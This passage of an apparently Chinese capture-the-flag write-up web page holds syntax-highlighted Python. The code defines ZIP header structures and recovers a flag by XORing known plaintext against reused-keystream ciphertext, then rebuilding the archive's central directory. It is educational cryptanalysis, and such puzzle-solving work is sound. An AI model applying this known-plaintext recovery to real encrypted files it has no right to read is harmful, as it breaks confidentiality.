<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">flags</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> Int16ul</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">compression</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> Int16ul</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">mod_time</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> Int16ul</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">mod_date</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> Int16ul</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">crc32</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> Int32ul</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">compressed_size</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> Int32ul</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">uncompressed_size</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> Int32ul</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">filename_length</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> Int16ul</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">extra_length</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> Int16ul</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">comment_length</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> Int16ul</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">disk_number_start</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> Int16ul</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">internal_attrs</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> Int16ul</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">external_attrs</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> Int32ul</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">local_header_offset</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> Int32ul</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">filename</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> </span><span style="color: #B2CCD6">Bytes</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">this.filename_length</span><span style="color: #D6DEEB">)</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">extra</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> </span><span style="color: #B2CCD6">Bytes</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">this.extra_length</span><span style="color: #D6DEEB">)</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">comment</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> </span><span style="color: #B2CCD6">Bytes</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">this.comment_length</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #82AAFF">EOCDR_SIGNATURE</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">0x</span><span style="color: #F78C6C">06054b50</span></span>
<span><span style="color: #D6DEEB">Eocdr </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">Struct</span><span style="color: #D6DEEB">(</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">signature</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> Int32ul</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">disk_number</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> Int16ul</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">disk_start</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> Int16ul</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">disk_entries</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> Int16ul</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">total_entries</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> Int16ul</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">cd_size</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> Int32ul</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">cd_offset</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> Int32ul</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">comment_length</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> Int16ul</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">comment</span><span style="color: #D9F5DD">&quot;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">/</span><span style="color: #82AAFF"> </span><span style="color: #B2CCD6">Bytes</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">this.comment_length</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">)</span></span></code></pre></div></section>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h4 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Python 代码块" data-v-c675dba6>Python</h4><ile-root id="ile-13"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-13--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #403F53">zip_partial </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">bytes</span><span style="color: #403F53">(</span><span style="color: #4876D6">a </span><span style="color: #994CC3">^</span><span style="color: #4876D6"> b </span><span style="color: #994CC3">^</span><span style="color: #4876D6"> c </span><span style="color: #994CC3">for</span><span style="color: #4876D6"> a</span><span style="color: #111111">,</span><span style="color: #4876D6"> b</span><span style="color: #111111">,</span><span style="color: #4876D6"> c </span><span style="color: #994CC3">in</span><span style="color: #4876D6"> zip</span><span style="color: #403F53">(</span><span style="color: #4876D6">known</span><span style="color: #111111">,</span><span style="color: #4876D6"> known_encrypted</span><span style="color: #111111">,</span><span style="color: #4876D6"> zip_encrypted</span><span style="color: #403F53">))</span></span>
<span><span style="color: #403F53">zip_io </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">BytesIO</span><span style="color: #403F53">(</span><span style="color: #4876D6">zip_partial</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #403F53">lfh1 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> LocalFileHeader.</span><span style="color: #0C969B">parse_stream</span><span style="color: #403F53">(</span><span style="color: #4876D6">zip_io</span><span style="color: #403F53">)</span></span>
<span><span style="color: #994CC3">assert</span><span style="color: #403F53"> lfh1 </span><span style="color: #994CC3">is</span><span style="color: #403F53"> </span><span style="color: #994CC3">not</span><span style="color: #403F53"> </span><span style="color: #BC5454">None</span></span>
<span><span style="color: #403F53">data1 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> zip_io.</span><span style="color: #0C969B">read</span><span style="color: #403F53">(</span><span style="color: #4876D6">lfh1.compressed_size</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">offset2 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> zip_io.</span><span style="color: #0C969B">tell</span><span style="color: #403F53">()</span></span>
<span></span>
<span><span style="color: #403F53">lfh2 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> LocalFileHeader.</span><span style="color: #0C969B">parse_stream</span><span style="color: #403F53">(</span><span style="color: #4876D6">zip_io</span><span style="color: #403F53">)</span></span>
<span><span style="color: #994CC3">assert</span><span style="color: #403F53"> lfh2 </span><span style="color: #994CC3">is</span><span style="color: #403F53"> </span><span style="color: #994CC3">not</span><span style="color: #403F53"> </span><span style="color: #BC5454">None</span></span>
<span><span style="color: #403F53">data2_offset </span><span style="color: #994CC3">=</span><span style="color: #403F53"> zip_io.</span><span style="color: #0C969B">tell</span><span style="color: #403F53">()</span></span>
<span><span style="color: #403F53">data2_head </span><span style="color: #994CC3">=</span><span style="color: #403F53"> zip_io.</span><span style="color: #0C969B">read</span><span style="color: #403F53">()</span></span>
<span></span>
<span><span style="color: #403F53">zip_io.</span><span style="color: #0C969B">write</span><span style="color: #403F53">(</span><span style="color: #994CC3">b</span><span style="color: #111111">&#39;</span><span style="color: #AA0982">\0</span><span style="color: #111111">&#39;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">*</span><span style="color: #4876D6"> (lfh2.compressed_size </span><span style="color: #994CC3">-</span><span style="color: #4876D6"> len</span><span style="color: #403F53">(</span><span style="color: #4876D6">data2_head</span><span style="color: #403F53">)</span><span style="color: #4876D6">)</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">cd_offset </span><span style="color: #994CC3">=</span><span style="color: #403F53"> zip_io.</span><span style="color: #0C969B">tell</span><span style="color: #403F53">()</span></span>
<span></span>
<span><span style="color: #403F53">external_attrs </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #994CC3">0x</span><span style="color: #AA0982">1800000</span></span>
<span></span>
<span><span style="color: #403F53">cdh1 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> CentralDirHeader.</span><span style="color: #0C969B">build</span><span style="color: #403F53">(</span><span style="color: #4876D6">dict</span><span style="color: #403F53">(</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">signature</span><span style="color: #994CC3">=</span><span style="color: #4876D6">CDH_SIGNATURE</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">version_made_by</span><span style="color: #994CC3">=</span><span style="color: #4876D6">lfh1.version_needed</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">version_needed</span><span style="color: #994CC3">=</span><span style="color: #4876D6">lfh1.version_needed</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">flags</span><span style="color: #994CC3">=</span><span style="color: #4876D6">lfh1.flags</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">compression</span><span style="color: #994CC3">=</span><span style="color: #4876D6">lfh1.compression</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">mod_time</span><span style="color: #994CC3">=</span><span style="color: #4876D6">lfh1.mod_time</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">mod_date</span><span style="color: #994CC3">=</span><span style="color: #4876D6">lfh1.mod_date</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">crc32</span><span style="color: #994CC3">=</span><span style="color: #4876D6">lfh1.crc32</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">compressed_size</span><span style="color: #994CC3">=</span><span style="color: #4876D6">lfh1.compressed_size</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">uncompressed_size</span><span style="color: #994CC3">=</span><span style="color: #4876D6">lfh1.uncompressed_size</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">filename_length</span><span style="color: #994CC3">=</span><span style="color: #4876D6">lfh1.filename_length</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">extra_length</span><span style="color: #994CC3">=</span><span style="color: #AA0982">0</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">comment_length</span><span style="color: #994CC3">=</span><span style="color: #AA0982">0</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">disk_number_start</span><span style="color: #994CC3">=</span><span style="color: #AA0982">0</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">internal_attrs</span><span style="color: #994CC3">=</span><span style="color: #AA0982">0</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">external_attrs</span><span style="color: #994CC3">=</span><span style="color: #4876D6">external_attrs</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">local_header_offset</span><span style="color: #994CC3">=</span><span style="color: #AA0982">0</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">filename</span><span style="color: #994CC3">=</span><span style="color: #4876D6">lfh1.filename</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">extra</span><span style="color: #994CC3">=</span><span style="color: #4876D6">bytes</span><span style="color: #403F53">()</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">comment</span><span style="color: #994CC3">=</span><span style="color: #4876D6">bytes</span><span style="color: #403F53">()</span><span style="color: #111111">,</span></span>
<span><span style="color: #403F53">))</span></span>
<span><span style="color: #403F53">zip_io.</span><span style="color: #0C969B">write</span><span style="color: #403F53">(</span><span style="color: #4876D6">cdh1</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #403F53">cdh2 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> CentralDirHeader.</span><span style="color: #0C969B">build</span><span style="color: #403F53">(</span><span style="color: #4876D6">dict</span><span style="color: #403F53">(</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">signature</span><span style="color: #994CC3">=</span><span style="color: #4876D6">CDH_SIGNATURE</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">version_made_by</span><span style="color: #994CC3">=</span><span style="color: #4876D6">lfh2.version_needed</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">version_needed</span><span style="color: #994CC3">=</span><span style="color: #4876D6">lfh2.version_needed</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">flags</span><span style="color: #994CC3">=</span><span style="color: #4876D6">lfh2.flags</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">compression</span><span style="color: #994CC3">=</span><span style="color: #4876D6">lfh2.compression</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">mod_time</span><span style="color: #994CC3">=</span><span style="color: #4876D6">lfh2.mod_time</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">mod_date</span><span style="color: #994CC3">=</span><span style="color: #4876D6">lfh2.mod_date</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">crc32</span><span style="color: #994CC3">=</span><span style="color: #4876D6">lfh2.crc32</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">compressed_size</span><span style="color: #994CC3">=</span><span style="color: #4876D6">lfh2.compressed_size</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">uncompressed_size</span><span style="color: #994CC3">=</span><span style="color: #4876D6">lfh2.uncompressed_size</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">filename_length</span><span style="color: #994CC3">=</span><span style="color: #4876D6">lfh2.filename_length</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">extra_length</span><span style="color: #994CC3">=</span><span style="color: #AA0982">0</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">comment_length</span><span style="color: #994CC3">=</span><span style="color: #AA0982">0</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">disk_number_start</span><span style="color: #994CC3">=</span><span style="color: #AA0982">0</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">internal_attrs</span><span style="color: #994CC3">=</span><span style="color: #AA0982">0</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">external_attrs</span><span style="color: #994CC3">=</span><span style="color: #4876D6">external_attrs</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">local_header_offset</span><span style="color: #994CC3">=</span><span style="color: #4876D6">offset2</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">filename</span><span style="color: #994CC3">=</span><span style="color: #4876D6">lfh2.filename</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">extra</span><span style="color: #994CC3">=</span><span style="color: #4876D6">bytes</span><span style="color: #403F53">()</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">comment</span><span style="color: #994CC3">=</span><span style="color: #4876D6">bytes</span><span style="color: #403F53">()</span><span style="color: #111111">,</span></span>
<span><span style="color: #403F53">))</span></span>
<span><span style="color: #403F53">zip_io.</span><span style="color: #0C969B">write</span><span style="color: #403F53">(</span><span style="color: #4876D6">cdh2</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #403F53">eocdr </span><span style="color: #994CC3">=</span><span style="color: #403F53"> Eocdr.</span><span style="color: #0C969B">build</span><span style="color: #403F53">(</span><span style="color: #4876D6">dict</span><span style="color: #403F53">(</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">signature</span><span style="color: #994CC3">=</span><span style="color: #4876D6">EOCDR_SIGNATURE</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">disk_number</span><span style="color: #994CC3">=</span><span style="color: #AA0982">0</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">disk_start</span><span style="color: #994CC3">=</span><span style="color: #AA0982">0</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">disk_entries</span><span style="color: #994CC3">=</span><span style="color: #AA0982">2</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">total_entries</span><span style="color: #994CC3">=</span><span style="color: #AA0982">2</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">cd_size</span><span style="color: #994CC3">=</span><span style="color: #4876D6">len</span><span style="color: #403F53">(</span><span style="color: #4876D6">cdh1</span><span style="color: #403F53">)</span><span style="color: #994CC3">+</span><span style="color: #4876D6">len</span><span style="color: #403F53">(</span><span style="color: #4876D6">cdh2</span><span style="color: #403F53">)</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">cd_offset</span><span style="color: #994CC3">=</span><span style="color: #4876D6">cd_offset</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">comment_length</span><span style="color: #994CC3">=</span><span style="color: #AA0982">0</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">    </span><span style="color: #403F53">comment</span><span style="color: #994CC3">=</span><span style="color: #4876D6">bytes</span><span style="color: #403F53">()</span><span style="color: #111111">,</span></span>
<span><span style="color: #403F53">))</span></span>
<span><span style="color: #403F53">zip_io.</span><span style="color: #0C969B">write</span><span style="color: #403F53">(</span><span style="color: #4876D6">eocdr</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #403F53">zip_io.</span><span style="color: #0C969B">seek</span><span style="color: #403F53">(</span><span style="color: #AA0982">0</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">zip_complete </span><span style="color: #994CC3">=</span><span style="color: #403F53"> zip_io.</span><span style="color: #0C969B">read</span><span style="color: #403F53">()</span></span>
<span></span>
<span><span style="color: #403F53">flags_partial2 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">bytes</span><span style="color: #403F53">(</span><span style="color: #4876D6">a </span><span style="color: #994CC3">^</span><span style="color: #4876D6"> b </span><span style="color: #994CC3">^</span><span style="color: #4876D6"> c </span><span style="color: #994CC3">for</span><span style="color: #4876D6"> a</span><span style="color: #111111">,</span><span style="color: #4876D6"> b</span><span style="color: #111111">,</span><span style="color: #4876D6"> c </span><span style="color: #994CC3">in</span><span style="color: #4876D6"> zip</span><span style="color: #403F53">(</span><span style="color: #4876D6">flags_encrypted</span><span style="color: #111111">,</span><span style="color: #4876D6"> zip_encrypted</span><span style="color: #111111">,</span><span style="color: #4876D6"> zip_complete</span><span style="color: #403F53">))</span><span style="color: #111111">[</span><span style="color: #403F53">cd_offset:</span><span style="color: #111111">]</span></span>
<span><span style="color: #4876D6">print</span><span style="color: #403F53">(</span><span style="color: #4876D6">flags_partial2</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">flag2 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> re.</span><span style="color: #0C969B">search</span><span style="color: #403F53">(</span><span style="color: #994CC3">br</span><span style="color: #111111">&#39;</span><span style="color: #5CA7E4">flag</span><span style="color: #AA0982">\{</span><span style="color: #5CA7E4">.</span><span style="color: #0C969B">+?</span><span style="color: #AA0982">\}</span><span style="color: #111111">&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> flags_partial2</span><span style="color: #403F53">).</span><span style="color: #0C969B">group</span><span style="color: #403F53">(</span><span style="color: #AA0982">0</span><span style="color: #403F53">).</span><span style="color: #0C969B">decode</span><span style="color: #403F53">()</span></span>
<span><span style="color: #4876D6">print</span><span style="color: #403F53">(</span><span style="color: #994CC3">f</span><span style="color: #C96765">&#39;</span><span style="color: #4876D6">{flag2 = }</span><span style="color: #AA0982">\n</span><span style="color: #C96765">&#39;</span><span style="color: #403F53">)</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #D6DEEB">zip_partial </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">bytes</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">a </span><span style="color: #C792EA">^</span><span style="color: #82AAFF"> b </span><span style="color: #C792EA">^</span><span style="color: #82AAFF"> c </span><span style="color: #C792EA">for</span><span style="color: #82AAFF"> a</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> b</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> c </span><span style="color: #C792EA">in</span><span style="color: #82AAFF"> </span><span style="color: #C5E478">zip</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">known</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> known_encrypted</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> zip_encrypted</span><span style="color: #D6DEEB">))</span></span>
<span><span style="color: #D6DEEB">zip_io </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">BytesIO</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">zip_partial</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #D6DEEB">lfh1 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> LocalFileHeader.</span><span style="color: #B2CCD6">parse_stream</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">zip_io</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #C792EA">assert</span><span style="color: #D6DEEB"> lfh1 </span><span style="color: #C792EA">is</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">not</span><span style="color: #D6DEEB"> </span><span style="color: #FF5874">None</span></span>
<span><span style="color: #D6DEEB">data1 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> zip_io.</span><span style="color: #B2CCD6">read</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">lfh1.compressed_size</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">offset2 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> zip_io.</span><span style="color: #B2CCD6">tell</span><span style="color: #D6DEEB">()</span></span>
<span></span>
<span><span style="color: #D6DEEB">lfh2 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> LocalFileHeader.</span><span style="color: #B2CCD6">parse_stream</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">zip_io</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #C792EA">assert</span><span style="color: #D6DEEB"> lfh2 </span><span style="color: #C792EA">is</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">not</span><span style="color: #D6DEEB"> </span><span style="color: #FF5874">None</span></span>
<span><span style="color: #D6DEEB">data2_offset </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> zip_io.</span><span style="color: #B2CCD6">tell</span><span style="color: #D6DEEB">()</span></span>
<span><span style="color: #D6DEEB">data2_head </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> zip_io.</span><span style="color: #B2CCD6">read</span><span style="color: #D6DEEB">()</span></span>
<span></span>
<span><span style="color: #D6DEEB">zip_io.</span><span style="color: #B2CCD6">write</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">b</span><span style="color: #D9F5DD">&#39;</span><span style="color: #F78C6C">\0</span><span style="color: #D9F5DD">&#39;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">*</span><span style="color: #82AAFF"> (lfh2.compressed_size </span><span style="color: #C792EA">-</span><span style="color: #82AAFF"> </span><span style="color: #C5E478">len</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">data2_head</span><span style="color: #D6DEEB">)</span><span style="color: #82AAFF">)</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">cd_offset </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> zip_io.</span><span style="color: #B2CCD6">tell</span><span style="color: #D6DEEB">()</span></span>
<span></span>
